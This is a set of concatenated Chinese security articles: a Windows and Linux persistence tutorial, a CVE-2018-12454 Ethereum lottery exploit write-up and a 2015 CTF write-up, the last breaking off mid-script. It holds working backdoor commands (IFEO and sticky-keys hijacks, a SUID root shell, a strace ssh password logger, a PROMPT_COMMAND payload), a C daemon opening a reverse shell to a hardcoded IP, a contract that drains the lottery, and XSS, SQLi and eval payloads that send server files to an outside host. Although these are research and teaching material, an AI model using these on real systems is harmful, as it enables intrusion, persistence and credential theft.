大致的原理如下：当我们按照常理运行属于IFEO列表的文件的时候（即可执行文件名在上述的注册表项下，出于简化原因，IFEO使用忽略路径的方式来匹配它所要控制的程序文件名，所以程序无论放在哪个路径，只要名字没有变化，它就可以正常运行。）会执行相关的选项参数，这里我们主要利用的参数是`debugger`,通过该参数我们可以实现偷梁换柱。下面以修改IE启动程序为例，实现运行IE程序但是启动的却是计算器。
1. 找到注册表“HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options”目录下的iexplore.exe
2. 添加一个debugger字符串键值，并且赋值为calc.exe的执行路径，“C:Windowssystem32calc.exe”
3. 运行 iexplore.exe,bomb!!!
当然我们也可以在第一步新键一个注册表文件目录，取名为想要覆盖的可执行程序，后续步骤类似。
但是这样明目张胆的偷梁换柱有点张扬，根据安全客那篇文章，修改另外两个注册表键值可以实现原程序退出后静默运行后门程序。以执行notepad为例，退出后静默运行calc.exe
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsnotepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSilentProcessExitnotepad.exe" /v MonitorProcess /t REG_SZ /d "C:Windowssystem32calc.exe"
### shift后门
这个后门的方式比较老，在windows登陆的时候按五次shift打开cmd进行操作。前提条件是:在将C盘windows目录下面的system32文件夹可写的情况下，将里面的sethc.exe应用程序进行转移，并生成sethc.exe.bak文件。并将cmd.exe拷贝覆盖sethc.exe。
但是在windows
xp过后，sethc组件属于完全受信用的用户TrustInstall，我们无法修改名字，这时候即使administrators都只有名义上的只读和可执行权，我们可以手动修改其所属为administrators，步骤如下：
右键属性/安全/高级；
所有者/编辑/添加当前用户/应用/确定；
关闭窗口；
右键属性/安全/编辑；
选择Administrators（或者你的当前组）/勾选完全控制/确定；
## 0x04 linux权限维持
可以看到windows的权限维持很多时候是基于注册表值，但是linux里面没有注册表项，但是有很多的配置文件选项，可以达到相似的功能。下面介绍一些比较实用的后门手段。
### sshd软连接
> 原理细节： <http://www.91ri.org/16803.html>
victim
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;
attack
ssh [email protected] -p 5555
### SUID Shell
root 权限下执行如下命令，普通用户运行`/dev/.rootshell`即可获得root权限
cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell
### alias瞒天过海
我们可以通过alias来指定执行特定的命令时候静默运行其他程序，从而达到启动后门，记录键值等作用。下面举两个实例：
1. 修改ssh命令，利用strace，使其具有记录ssh对read,write,connect调用的功能。
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
2. 利用守护进程回弹shell
alias cat='cat&&/root/.shell'
shell.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <signal.h>
#define ERR_EXIT(m)
do
{
perror(m);
exit(EXIT_FAILURE);
}
while (0);
void creat_daemon(void);
int main(void)
{
time_t t;
int fd;
creat_daemon();
system("bash -i >& /dev/tcp/192.168.80.167/8080 0>&1");
return 0;
}
void creat_daemon(void)
{
pid_t pid;
int devnullfd,fd,fdtablesize;
umask(0);
pid = fork();
if( pid == -1)
ERR_EXIT("fork error");
if(pid > 0 )
exit(EXIT_SUCCESS);
if(setsid() == -1)
ERR_EXIT("SETSID ERROR");
chdir("/");
/* close any open file descriptors */
for(fd = 0, fdtablesize = getdtablesize(); fd < fdtablesize; fd++)
close(fd);
devnullfd = open("/dev/null", 0);
/* make STDIN ,STDOUT and STDERR point to /dev/null */
if (devnullfd == -1) {
ERR_EXIT("can't open /dev/null");
}
if (dup2(devnullfd, STDIN_FILENO) == -1) {
ERR_EXIT("can't dup2 /dev/null to STDIN_FILENO");
}
if (dup2(devnullfd, STDOUT_FILENO) == -1) {
ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");
}
if (dup2(devnullfd, STDERR_FILENO) == -1) {
ERR_EXIT("can't dup2 /dev/null to STDOUT_FILENO");
}
signal(SIGCHLD,SIG_IGN);
return;
}
### linux PAM密码记录后门
pam是一种认证机制，它可帮助管理员快速方便地配置认证方式，并且无需更改服务程序。这种后门主要是通过pam_unix_auth.c打补丁的方式潜入到正常的pam模块中，以此来记录管理员的帐号密码。
> <https://blog.51cto.com/redkey/1343316>
### PROMPT_COMMAND后门
bash提供了一个环境变量PROMPT_COMMAND,这个变量会在你执行命令前执行一遍。
export PROMPT_COMMAND="lsof -i:1025 &>/dev/null || (python -c "exec('encoded_payload'.decode('base64'))" 2>/dev/null &)"
当然也可以使用prompt_command进行提权,参考：<https://www.anquanke.com/post/id/155943>
### ssh免密后门
把id_rsa.pub写入服务端的/home/[用户名]/.ssh/authorized_keys中。
### rootkit
rootit的后门相对比较顽固，有应用级别和系统级别的rootkit，其大致的思路是hook进常规的调用中，是比较硬核的，经常体现在APT攻击中。下面是一个菊苣收集的rootkit后门的链接。具体的细节因为不同的rootkit具体实现不一致，笔者才疏，无法完全弄清楚，仅给出链接，方便日后学习。
> 列表：<https://github.com/d30sa1/RootKits-List-Download>
## 参考文献
[1]<https://www.anquanke.com/post/id/155943>
[2]<http://view.inews.qq.com/a/20180820B0WO1Z00>
[3]<https://phyb0x.github.io/2018/12/21/win%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81/>
[4]<http://xnianq.cn/2018/07/23/windows%E5%90%8E%E9%97%A8%E7%A7%8D%E6%A4%8D%E6%96%B9%E5%BC%8F%E6%94%B6%E9%9B%86/>
[5]<https://www.anquanke.com/post/id/99793>
[6]<https://www.secfree.com/a/1049.html>
[7]<http://hebic.me/2018/11/02/Linux-rootkit-%E5%88%9D%E6%8E%A2/> | 社区文章 |
### 一、漏洞概述
1000 Guess是一款基于以太坊的随机数竞猜游戏。 1000
Guess中的`simplelottery`智能合约实现的`‘_addguess’`函数存在安全漏洞，该漏洞源于程序使用公共可读取的变量生成随机值。攻击者可利用该漏洞一直获取奖励。
下面为CVE编号的详细内容。
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12454>
`1000
Guess`作为以太坊的精彩读博游戏被爆出存在存储随机数预测漏洞。此合约通过生成随机数来预测获得大奖的钱包地址。在生成随机数的过程中，该合约通过sha256计算合约中的变量与当前数据块的信息。然而根据区块链的概念，链上的信息均是公开的，所有用户均可以获得。于是攻击者可以对此进行获取并进行投机取巧的操作。在本文中我将对合约进行详细介绍，并对此合约漏洞进行复现操作。
### 二、合约分析
合约代码如下地址：<https://etherscan.io/address/0x386771ba5705da638d889381471ec1025a824f53#code>
/**
* Source Code first verified at https://etherscan.io on Saturday, November 25, 2017
(UTC) */
pragma solidity ^0.4.11;
contract simplelottery {
enum State { Started, Locked }
State public state = State.Started;
struct Guess{
address addr;
//uint guess;
}
uint arraysize=1000;
uint constant maxguess=1000000;
uint bettingprice = 1 ether;
Guess[1000] guesses;
uint numguesses = 0;
bytes32 curhash = '';
uint _gameindex = 1;
uint _starttime = 0;
modifier inState(State _state) {
require(state == _state);
_;
}
address developer = 0x0;
address _winner = 0x0;
event SentPrizeToWinner(address winner, uint money, uint gameindex, uint lotterynumber, uint starttime, uint finishtime);
event SentDeveloperFee(uint amount, uint balance);
function simplelottery()
{
if(developer==address(0)){
developer = msg.sender;
state = State.Started;
_starttime = block.timestamp;
}
}
function setBettingCondition(uint _contenders, uint _bettingprice)
{
if(msg.sender != developer)
return;
arraysize = _contenders;
if(arraysize>1000)
arraysize = 1000;
bettingprice = _bettingprice;
}
function findWinner(uint value)
{
uint i = value % numguesses;
_winner = guesses[i].addr;
}
function getMaxContenders() constant returns(uint){
return arraysize;
}
function getBettingPrice() constant returns(uint){
return bettingprice;
}
function getDeveloperAddress() constant returns(address)
{
return developer;
}
function getDeveloperFee() constant returns(uint)
{
uint developerfee = this.balance/100;
return developerfee;
}
function getBalance() constant returns(uint)
{
return this.balance;
}
function getLotteryMoney() constant returns(uint)
{
uint developerfee = getDeveloperFee();
uint prize = (this.balance - developerfee);
return prize;
}
function getBettingStatus()
constant
returns (uint, uint, uint, uint, uint, uint, uint)
{
return ((uint)(state), _gameindex, _starttime, numguesses, getLotteryMoney(), this.balance, bettingprice);
}
function finish()
{
if(msg.sender != developer)
return;
_finish();
}
function _finish() private
{
state = State.Locked;
uint block_timestamp = block.timestamp;
uint lotterynumber = (uint(curhash)+block_timestamp)%(maxguess+1);
findWinner(lotterynumber);
uint prize = getLotteryMoney();
uint numwinners = 1;
uint remain = this.balance - (prize*numwinners);
_winner.transfer(prize);
SentPrizeToWinner(_winner, prize, _gameindex, lotterynumber, _starttime, block_timestamp);
// give delveoper the money left behind
developer.transfer(remain);
SentDeveloperFee(remain, this.balance);
numguesses = 0;
_gameindex++;
state = State.Started;
_starttime = block.timestamp;
}
function () payable
{
_addguess();
}
function addguess()
inState(State.Started)
payable
{
_addguess();
}
function _addguess() private
inState(State.Started)
{
require(msg.value >= bettingprice);
curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);
if((uint)(numguesses+1)<=arraysize) {
guesses[numguesses++].addr = msg.sender;
if((uint)(numguesses)>=arraysize){
_finish();
}
}
}
}
首先介绍合约涉及的变量情况。根据合约定义，首先定义`state`枚举变量，用以控制合约是否停止运行。之后定义Guess结构体与相应数组，用以保存参与游戏的用户情况。其次是`arraysize`，其为具体的门限值，在后文中我们能知道当参与用户量超过此参数后便触发竞猜函数。`bettingprice`为下赌最小代币量。后四个参数为生成随机数所需的参数。
下面函数为构造函数，其中定义了建立者地址、当前合约的运行状态以及当前的时间戳信息。
function simplelottery()
{
if(developer==address(0)){
developer = msg.sender;
state = State.Started;
_starttime = block.timestamp;
}
}
下面函数作用是用于修改该合约竞猜函数触发门限值与竞猜最小代币量。
function setBettingCondition(uint _contenders, uint _bettingprice)
{
if(msg.sender != developer)
return;
arraysize = _contenders;
if(arraysize>1000)
arraysize = 1000;
bettingprice = _bettingprice;
}
下面的一系列函数为用户返回各种参数。
function getMaxContenders() constant returns(uint){
return arraysize;
}
function getBettingPrice() constant returns(uint){
return bettingprice;
}
function getDeveloperAddress() constant returns(address)
{
return developer;
}
function getDeveloperFee() constant returns(uint)
{
uint developerfee = this.balance/100;
return developerfee;
}
function getBalance() constant returns(uint)
{
return this.balance;
}
下方函数返回了合约中较为关键的变量信息，例如当前时间戳信息、当前竞猜数字、奖金额度、合约余额、竞猜手续费。
function getBettingStatus()
constant
returns (uint, uint, uint, uint, uint, uint, uint)
{
return ((uint)(state), _gameindex, _starttime, numguesses, getLotteryMoney(), this.balance, bettingprice);
}
之后我们介绍合约的关键函数。当用户调用`addguess`函数时，首先将合约的状态改变为“开始”，之后判断用户传入的金额是否满足竞猜手续费，当满足时进入下面的函数。
之后根据当前区块上的私有信息计算哈希值：`curhash = sha256(block.timestamp, block.coinbase,
block.difficulty, curhash);`
之后判断是否触发竞猜函数，例如当当前`numguesses +
1`还未到达竞猜门限值，此时将`guess`数组中添加当前调用函数的合约地址，便于后续此地址参与奖金竞猜。当最后一位参加竞猜的用户调用此函数时，即到达门限值时触发`_finish();`函数。
function () payable
{
_addguess();
}
function addguess()
inState(State.Started)
payable
{
_addguess();
}
function _addguess() private
inState(State.Started)
{
require(msg.value >= bettingprice);
curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);
if((uint)(numguesses+1)<=arraysize) {
guesses[numguesses++].addr = msg.sender;
if((uint)(numguesses)>=arraysize){
_finish();
}
}
}
当触发竞猜函数时便调用下方函数。进入函数后，首先将合约设置为暂停，以防止在进行竞猜过程中有新用户参与。之后赋值新时间戳、计算竞猜随机数。之后调用`findWinner`函数寻找幸运儿。之后进行转账操作，最后将执行次数归零。
function finish()
{
if(msg.sender != developer)
return;
_finish();
}
function _finish() private
{
state = State.Locked;
uint block_timestamp = block.timestamp;
uint lotterynumber = (uint(curhash)+block_timestamp)%(maxguess+1);
findWinner(lotterynumber);
uint prize = getLotteryMoney();
uint numwinners = 1;
uint remain = this.balance - (prize*numwinners);
_winner.transfer(prize);
SentPrizeToWinner(_winner, prize, _gameindex, lotterynumber, _starttime, block_timestamp);
// give delveoper the money left behind
developer.transfer(remain);
SentDeveloperFee(remain, this.balance);
numguesses = 0;
_gameindex++;
state = State.Started;
_starttime = block.timestamp;
}
而如何寻找这个幸运儿呢？
function findWinner(uint value)
{
uint i = value % numguesses;
_winner = guesses[i].addr;
}
此函数传入value（此变量为上一个函数中的随机数），之后取余得到i。
下面我们来看一下此合约的漏洞在何处。
### 三、漏洞测试
在复现操作之前，我将简单介绍下本漏洞的成因。
熟悉以太坊漏洞的同学应该知道，在随机数应用中最容易产生的漏洞就属随机数预测。由于以太坊的机制，其所有信息均在链上且对外均为可见。即区块链上的随机数并不能做到真正的“随机”，需要引入外部库函数的辅助，所以当大家看到有关随机数的合约时，我们就应该敏感一点仔细审读源码是否存储合约漏洞。
我们跟读一下合约，作为一个参与者我们肯定首先会参与到合约中来。于是我们将调用`addguess()`，之后函数调用`_addguess()`并向合约传入预设的合约费用`Value`，之后使用Sha256计算`curhash`参数。当参与进入游戏后并满足门限后，该函数将调用`_finish`并进行开奖操作。而开奖所需随机数`lotterynumber`是通过`(uint(curhash)+block_timestamp)%(maxguess+1)`进行计算得出。
而上述随机数种字均可以被我们通过手段获得，于是我们变可以同合约一样，可以知道当前用户开奖操作的最终中奖人。
此时，倘若我们提前得到了中奖人信息，那么如果中奖人为攻击者，那么攻击者变执行操作否则便`revert()`即可。于是当攻击者不断进行尝试直到计算出中奖者为自己。
下面我们将进行漏洞复现：
首先我们使用账户为`0x910c8F13e4fB8d640C593A5A6CE74ea1a842a963`的钱包，部署合约。
为了便于后续进行演示操作，我们将合约的部分参数进行修改。将门限值修改为3并降低参与金额（将默认的1 eth修改为100 wei，方便后续操作）。
为了模拟攻击过程，我们使用当前钱包地址参与到竞猜活动中，并传入1 eth合同费。
这时我们查看奖励金：
即获得奖励的账户能够获得相应的奖励。
之后我使用第二个合约账户并传入1000wei参与合约竞猜。此时`numguesses`为2。
而我们设置开奖门限为3，所以下一次新用户参与将会调用开奖合约。
此时我们撰写攻击函数：
contract Attack{
address public owner;
simplelottery lottery;
uint constant maxguess=1000000;
uint numguesses;
event success(string s, uint balance);
// constructor() public{
// owner = msg.sender;
// }
function () payable{}
function attack(address target, bytes32 curhash, uint arraysize, uint attackerid) public payable{
lottery = simplelottery(target);
(,,,numguesses,,,) = lottery.getBettingStatus();
if(numguesses != arraysize - 1) revert();
curhash = sha256(block.timestamp, block.coinbase, block.difficulty, curhash);
uint lotterynumber = (uint(curhash)+block.timestamp)%(maxguess+1);
uint i = lotterynumber % arraysize;
if(attackerid != i) revert();
target.call.value(0.01 ether)();
success("Attack success!",this.balance);
msg.sender.transfer(this.balance);
}
}
此时我们需要通过链的特性来获取到其隐藏数据。通过我们分析，我们发现`curhash`我们并不知道，如果不知道此参数那么我们变无法进行预测。
此处教大家一个姿势，我们可以通过web3函数来获取到存在于链上的数据。
web3.eth.getStorageAt("0xfa6826D4456b8d21aa62C7989Ea42C3B246f563e", x, function(x, y) {console.warn(y)});
此函数调用后，会获得地址上的位于x位置的链上数据。
web3.eth.getStorageAt(contractAddress, position);
例如我们分析测试合约。
图中的编号为存储地址的位置。测试第一个位置：
为3 。即我们的门限为3（前文修改过）
第2个位置：
为100，即我们参与竞猜的手续费为100.
于是我所需获取的`curhash`为1004位置。
即：`0xc12e24481262538f02e4521d1eabdb883292688d42e914bcac852c7ac4735d00`
之后我们进入attack函数，并使用第二个账户进行恶意竞猜：
attack函数传入参数：`0xfa6826D4456b8d21aa62C7989Ea42C3B246f563e,
"0xc12e24481262538f02e4521d1eabdb883292688d42e914bcac852c7ac4735d00",3,1`
第一次执行：
这意味着首次执行没有预测成功，所以函数revert了。
第二次执行：
成功。由于我们门限设置的仅为3，所以第二次尝试就预测成功了。现在我们来看看合约，发现合约已经归零，并且其中的奖励已经发放给攻击者。
这个cve利用手段较为容易，由于原代码中使用1000长度来装载参与者，所以此利用可以使用脚本来进行循环执行，以便达到攻击的作用。
### 四、参考
* <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12454>
* <https://medium.com/coinmonks/attack-on-pseudo-random-number-generator-prng-used-in-1000-guess-an-ethereum-lottery-game-7b76655f953d>
* <https://www.anquanke.com/vul/id/1209389>
* <https://web3js.readthedocs.io/en/1.0/web3-eth.html#getstorageat>
`本稿为原创稿件，转载请标明出处。谢谢。` | 社区文章 |
# 2015华山杯#WriteUp
|
##### 译文声明
本文是翻译文章，文章来源：InkSec@360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
网络安全技能大赛
解题报告
队伍: InkSec
时间: 2015-11-02
**Web渗透**
1.怎么在Web上Ping呢(100pt,麦香浓郁)
刚开始用尽各种姿势都没搞定。后来在度娘上搜html ping发现了这篇文章:
[http://netsecurity.51cto.com/art/201508/487806.htm](http://netsecurity.51cto.com/art/201508/487806.htm)
之后本地构造了一个页面 在a标签里加ping
之后抓包。。用进各种姿势都只能抓到get包。。最后发现是火狐不支持这个属性改用chrome,之后再重放包得到flag
2.社工库查询(150pt,麦香浓郁)
这道题真的有点坑啊.
刚开始提示西瓜大神的信息,然后就去搜西瓜皮的qq,然后再搜别的四叶草大牛的qq,最后发现都没用.后来随意搜了下10000(腾讯官方帐号)
发现得到如下提示:
提示intval
再尝试10000.xxx 就得到flag
Flag{psq6BvdveCvrdpxKq8if9B2XSIOGzbii}
3.Access注入(200pt,麦香浓郁)
这道题主要考查Access偏移注入 做出来的队伍很多
先猜表的长度最后构造查询语句
FLAG:469e80d32c0559f8
4.有WAF该怎么注入呢(300pt,[麦香浓郁,小数点])
Waf绕过总结之后医生师傅构造了payload给我
id=1%20%26%26%20ORD(substr((select%60flag%60from%60flag%60),2,1))=107
之后用脚本跑,
得到:
(106,107,115,99,104,118,107,106,97,115,109,122,110,120,118,107,106,97,104,115,100,97,115,100,120,122,99,113,119,101)
再将ascii码转换为字母就是flag
5.XSS???XSS!!!(400pt,小墨)
参考乌云知识库的一篇文章:
[http://drops.wooyun.org/papers/938](http://drops.wooyun.org/papers/938)
基本上是一样的,直接构造最水的那个payload
[http://218.245.4.113:8080/web05/df1014aa2d59e1a02bba52955f797c7d/xss.php?xss=YWxlcnQoMSkK%22Oncut%3DsetInterval%28atob(value)%29%2c%26quot](http://218.245.4.113:8080/web05/df1014aa2d59e1a02bba52955f797c7d/xss.php?xss=YWxlcnQoMSkK%22Oncut%3DsetInterval%28atob\(value\)%29%2c%26quot)
value里是alert(1)的base64编码后的值,
Oncut首字母大写,绕过on的过滤
然后用setInterval定时执行value的base64解码之后的值
最后闭合后面的双引号
6.Python-Web(500pt,小墨)
通过burp修改obj,和method发包测试,
根据报错拼出部分核心代码为:
c = json.loads(request.body)
method = getattr(globals()[c['obj']],c['method'])
ret = method(c['params'])
retdata['result'],retdata['error'] = ret
第一行将请求的json解析
第二行method = getattr(globals()[请求的obj],请求的method)
第三行是将上一行的method作为函数,请求的params作为参数并将执行结果返回给ret
第四行不用解释了..
经过测试,可用的obj分别是:
globals()['__package__'] ==> str
globals()['__builtin__'] ==> module
globals()['__builtins__'] ==> dict
继续测试globals()['__builtin__']里有哪些可用的method,
发现至少eval和open是可用的
有这两个就够了,记得乌云知识库有一篇文章就是专门写python的eval安全问题的,然后构造获取当前目录的payload:
{"obj":"__builtin__","method":"eval","params":"__import__('urllib2').urlopen('http://VPS-IP:8000/',str.join(',',__import__('os').listdir('./')).encode('base64').replace('\n',''))"}
将当前目录下的文件/子目录列表base64编码后发送到vps的8000端口
接收并解码后知道有mysite,config.yaml,manage.py,static,app,index.wsgi 这些文件/目录,
然后继续获取mysite目录下的东西
可以看到有一个settings.py
然后构造读文件的payload读取./mysite/settings.py
{"obj":"__builtin__","method":"eval","params":"__import__('urllib2').urlopen('http://VPS-IP:8000/',open('./mysite/settings.py').read().encode('base64').replace('\n',''))"}
解码后即可获得Flag
flag{31e262014a402b9f7d2dc9970cf39ca5}
**
**
**逆向破解**
1.逆向破解-1(100pt,小墨)
载入OD,搜索字符串,在那几个看起来像base64的字符串上下断点
在附近找cmp,并在cmp上下断点
运行,随便输入密码,点确定,断下后单步执行,
在4016d2位置上有一个长度比较,所以密码长度必须为0x13(19)
继续运行,输入一串长度为19的字符串点确定,断下后单步执行
执行到401747的时候在堆栈里能看到"HOWMP半块西瓜皮hehe"
数了一下正好是19位,猜测这个就是密码
继续运行程序输入"HOWMP半块西瓜皮hehe",flag就出来了
(论二进制是怎样虐Web狗的之一)
2.逆向破解-2(200pt,小墨)
这是个golang的程序,先把程序upx脱壳,运行后显示:
游戏分两关,第一关
在浏览器中打开地址,在js
sum ^= 9981;
下断点
输入用户名密码提交,断下后按一下单步,记下sum的值
下面的if是判断sum和sum2是否相等
而sum2等于输入的密码的倒序
所以密码输入sum的倒序就可以这里的sum是9309,所以密码输入9039提交就可以进入第二关.
第二关:
在js中看到将用户名和密码GET提交到/crackme2的位置
用x64_dbg附加游戏进程
跑了几圈,在401000附近看到crackme2字样
下断点跟踪,跟到4012dc位置时看到了一串数字
猜测这个就是密码,提交后看到
{"Code":1,"Info":"4619176"}
目测是过关了..
(论二进制是怎样虐Web狗的之二)
3.逆向破解-3(300pt,麦香浓郁)
题目中有一个9*9的矩阵,如下:
01 01 00 01 01 01 00 01 01
01 00 00 00 00 00 00 00 01
01 00 00 00 00 12 22 00 01
01 32 00 00 00 42 00 00 01
00 00 00 00 00 00 00 00 00
01 00 00 52 00 00 00 00 01
00 00 00 00 00 00 62 00 00
01 72 00 00 82 00 00 00 01
01 01 00 01 01 01 01 00 01
输入的字符串每2个字符为一组,记为ab。a表示移动数a2,b表示移动方向(1234对应左右上下)
最终目的,在矩阵中间有8个*2的数,需要将其移动到边上的00位置处。
不知道怎么写算法,就手动构造了。
513441112163233144428184545114127274
为了方便调试,写了个脚本,查看每次移动后的矩阵情况。
from pydbg import *
from pydbg.defines import *
def handler1(dbg):
d = dbg.read(0x00407030, 81)
print '##########'
for i in range(9):
for j in range(9):
print str(ord(d[i*9+j])).rjust(2, '0'),
print
return DBG_CONTINUE
def main():
dbg = pydbg()
dbg.load('./toetrix_crackme.exe', create_new_console=True)
dbg.bp_set(0x40125b, handler=handler1)
dbg.run()
main()
**网络取证**
1.流量分析1(150pt,小墨)
wireshark打开流量包,按照协议排序,然后按住方向键下键往下滚..
滚到ICMP协议的时候发现ICMP的数据段有一位竟然在变..
正常ping的数据包虽然不同系统不一样,但是也不至于就变一位,还是每次都不一样
仔细看看之后发现这些数据段的头一位拼接起来就是flag
(flag没保存..我就不再拼一遍了..)
2.扫雷(250pt,小墨)
google搜索"在线分析dmp文件"找到一个网站
把dmp文件上传上去..等分析完毕后在Strings里就能看到flag:
(Orz..开始的时候还把dmp里的扫雷程序提取出来玩了一会儿..结果….)
3.流量分析2(400pt,小墨)
wireshark打开流量包,按照协议排序,看看都有什么协议的数据包
向下拉,看到有FTP和FTP-DATA
FTP-DATA里是一个rar压缩文件
提取出来之后发现里面的文件需要解压密码
设置筛选器为:frame contains pass碰碰运气..结果还真碰到了..
跟随数据流可以看到一段Base64
解码后写入文件:
然后用Notepad++打开调整编码为ASCII可以看到一句话:
一枝红杏出墙来
这个就是压缩包密码,解压出来一个文件
打开后发现IHDR,目测应该是个png图片,只不过文件头被删了
用010editor修复文件头
打开之后就能看到flag
3.Hack-Team(500pt,麦香浓郁)
这道题有500分….
拿diskgenius当虚拟硬盘修复一下,能得到两个文件
一个tips.txt 一个000000.pdf
tips里的古诗拼音就是pdf的密码 打开就可以得到flag
最关键的是 win下打不开 os x下可以。。
Flag{f6fdffe48c908deb0f4c3bd36c032e72}
**
**
**密码 &算法**
2.图片隐写(200pt,小墨)
用010editor打开
看到一个像Rar文件头的地方,修复并提取:
打开后可以看到有一个2.jpg和一堆目录
把2.jpg放进010editor可以看到一段base64
5Zub5Y+26I2J5a6J5YWo
解码后是"四叶草安全"也就是压缩包密码
把压缩包里那些目录提取出来之后发现一共有6层目录名都是0,1,每个最底层的目录里都有一个文件文件名是随机的,文件内容是一串37位的二进制
先不管这串二进制是啥,先写个脚本把文件内容提取出来
然后按照000000-111111的顺序排序
pic1.py:
#-*- coding: UTF-8 -*- __author__ = 'wabzsy'
import os
def catFile(filepath):
pathDir = os.listdir(filepath)
for allDir in pathDir:
child = os.path.join('%s%s' % (filepath, allDir))
print open(child).read().replace('1',' ').replace('0','MM')
if __name__ == '__main__':
filePath = "./"
for a in range(0,2):
for b in range(0,2):
for c in range(0,2):
for d in range(0,2):
for e in range(0,2):
for f in range(0,2):
catFile(filePath+"/"+str(a)+"/"+str(b)+"/"+str(c)+"/"+str(d)+"/"+str(e)+"/"+str(f)+"/")
运行:
看起来像段二维码..
修改脚本将
print open(child).read()
改成
print open(child).read().replace('1',' ').replace('0','MM')
再执行,并截图:
直接微信二维码扫上图即可得到flag
3.图片隐写2(300pt,麦香浓郁)
这道,刚开始检测一下是jphide 隐写 然后就去看口令,以为是数字代替字母,转换完成之后去做词频密码解密还是不行
最后丢到winhex里
发现有个tiff 把之前的jpg数据删掉 然后用ps打开 发现有很多图层
再根据口令,找图层中的字母 得到flag
4.魔塔AI编写(500pt,bibi)[赛后完成,未得分]
这个题目其实很简单,坑点是我开始误以为层数太多了.
首先几个基本策略是,打得过就打,打不过就跑,多层Flood Fill.
具体实施是获取所有的道具,进入下一层,直到能够杀死所有的princess.
开始是将princess当成墙来看.
然后我以为111111层 结果======
ssctf_ai.py
from zio import *
import Image
import time
io = zio(("127.0.0.1", 22031))
cur_atk = 10
cur_def = 10
cur_hp = 1000
cur_floor = 0
cur_x = 0
cur_y = 0
mon_floor = -1
upstairs = []
downstairs = [None]
floors = []
princesses = {ord('a') : [80, 60, 1000], ord('b') : [200, 150, 1000], ord('c') : [300, 150, 1000], ord('d') : [300, 250, 3000]}
princess_floor = {ord('a') : -1, ord('b') : -1, ord('c') : -1, ord('d') : -1}
def beat_princess(hp, p):
att = princesses[p]
prin_atk, prin_def, prin_hp = att
if cur_atk <= prin_def:
return 0
battle_rounds = prin_hp / (cur_atk - prin_def)
if prin_hp % (cur_atk - prin_def) != 0:
battle_rounds += 1
if prin_atk > cur_def:
hp -= (battle_rounds - 1) * (prin_atk - cur_def)
else:
hp -= 0
return hp
def can_beat_all_princesses():
new_hp = cur_hp
for p in princesses.keys():
new_hp = beat_princess(cur_hp, p)
if new_hp <= 0:
return False
return None
def from_text_to_maze(r):
r = r.strip().split("n")
r = map(lambda x : x.split("|")[0], r)
w = len(r[0])
h = len(r)
colormode = 'L'
bgcolor = (0)
size = (w, h)
image = Image.new(colormode, size, bgcolor)
maze = image.load()
for i in xrange(h):
for j in xrange(w):
maze[j, i] = ord(r[i][j])
return image
def add_new_floor(r):
global cur_x
global cur_y
image = from_text_to_maze(r)
maze = image.load()
if cur_floor == len(floors):
(w, h) = image.size
for i in xrange(h):
for j in xrange(w):
if maze[j, i] == ord('/'):
upstairs.append((i, j))
if maze[j, i] == ord('X'):
cur_x = i
cur_y = j
if cur_floor == 0:
maze[j, i] = ord('.')
else:
maze[j, i] = ord('\')
downstairs.append((i, j))
if maze[j, i] == ord('Y'):
mon_floor = len(floors)
if ord('a') <= maze[j, i] <= ord('d'):
princess_floor[maze[j, i]] = cur_floor
floors.append(image)
GO_UP = 1
GO_DOWN = 2
GO_THROUGH = 3
GO_PRINCESS = 4
go_dict = {1 : "GO_UP", 2 : "GO_DOWN", 3 : "GO_THROUGH", 4 : "GO_PRINCESS"}
import pdb
def goto_dest(dest):
global cur_floor
global cur_atk
global cur_def
global cur_hp
global cur_x
global cur_y
f = floors[cur_floor]
pixels = f.load()
seq, cur_x, cur_y = dest
io.write(seq + "n")
r = io.read_nonblocking(4096)
if pixels[cur_y, cur_x] in map(ord, list('/')):
cur_floor += 1
add_new_floor(r)
cur_x, cur_y = downstairs[cur_floor]
return
if pixels[cur_y, cur_x] in map(ord, list('\')):
cur_floor -= 1
cur_x, cur_y = upstairs[cur_floor]
return
if pixels[cur_y, cur_x] in map(ord, list('/')):
cur_floor += 1
cur_x, cur_y = downstairs[cur_floor]
return
if pixels[cur_y, cur_x] in map(ord, list('ADP')):
if pixels[cur_y, cur_x] == ord('A'):
cur_atk += 5
if pixels[cur_y, cur_x] == ord('D'):
cur_def += 5
if pixels[cur_y, cur_x] == ord('P'):
cur_hp += 500
pixels[cur_y, cur_x] = ord('.')
if pixels[cur_y, cur_x] in map(ord, list('abcd')):
cur_hp = beat_princess(cur_hp, pixels[cur_y, cur_x])
del princesses[pixels[cur_y, cur_x]]
pixels[cur_y, cur_x] = ord('.')
import Queue
import copy
directions = [
['h', 0, -1],
['j', 1, 0],
['k', -1, 0],
['l', 0, 1],
]
def find_next_dest(go_type):
f = floors[cur_floor]
w, h = f.size
colormode = 'L'
size = (w, h)
bgcolor = (0)
count_map = Image.new(colormode, size, bgcolor).load()
count_map[cur_y, cur_x] = 0
q = Queue.Queue()
q.put(["", cur_x, cur_y])
pixels = f.load()
while not q.empty():
seq, x, y = q.get()
for d in directions:
s, dx, dy = d
new_seq = copy.copy(seq) + copy.copy(s)
new_x = x + dx
new_y = y + dy
if count_map[new_y, new_x] > 0:
continue
if pixels[new_y, new_x] in map(ord, list('#')):
continue
if pixels[new_y, new_x] in map(ord, list('abcd')):
if go_type == GO_PRINCESS:
return [new_seq, new_x, new_y]
princess_floor[pixels[new_y, new_x]] = cur_floor
continue
